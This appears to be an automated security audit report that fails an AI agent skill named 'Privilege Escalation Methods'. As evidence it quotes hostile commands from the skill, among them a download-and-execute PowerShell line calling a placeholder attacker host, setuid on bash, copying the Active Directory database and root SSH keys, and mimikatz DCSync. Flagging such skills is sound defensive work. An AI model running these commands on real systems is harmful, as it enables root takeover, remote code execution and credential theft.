Privilege Escalation Methods
Fail
Audited by Gen Agent Trust Hub on Feb 17, 2026
Risk Level: HIGHCOMMAND_EXECUTIONREMOTE_CODE_EXECUTIONDATA_EXFILTRATIONCREDENTIALS_UNSAFE
Full Analysis
- COMMAND_EXECUTION (HIGH): The skill provides numerous commands specifically designed to elevate privileges by exploiting system misconfigurations.
- Evidence: Linux commands like
sudo vim -c ':!/bin/bash'andchmod +s /bin/bashinSKILL.mdare used to gain root access. - Evidence: Windows commands like
Invoke-ServiceAbuseandExploitCapcom.exetarget service and driver vulnerabilities. - REMOTE_CODE_EXECUTION (HIGH): The skill includes patterns for downloading and executing remote scripts in a single step.
- Evidence:
powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'in the Golden Ticket persistence section ofSKILL.mdusesInvoke-ExpressionwithInvoke-WebRequestto run remote code. - DATA_EXFILTRATION (HIGH): The skill contains instructions for accessing and copying highly sensitive files that store system identities and credentials.
- Evidence: Commands in
SKILL.mddemonstrate how to copyntds.dit(Active Directory database) and theSYSTEMhive usingSeBackupPrivilegeand Volume Shadow Copy (vssadmin). - Evidence: Usage of
tarto access and copy private SSH keys from/root/.ssh/id_rsavia capability abuse. - CREDENTIALS_UNSAFE (MEDIUM): The skill provides methodologies for harvesting and dumping credentials from memory and network traffic.
- Evidence: Specific instructions for using
mimikatzto perform DCSync attacks andResponderfor LLMNR poisoning.
Recommendations
- AI detected serious security threats
Audit Metadata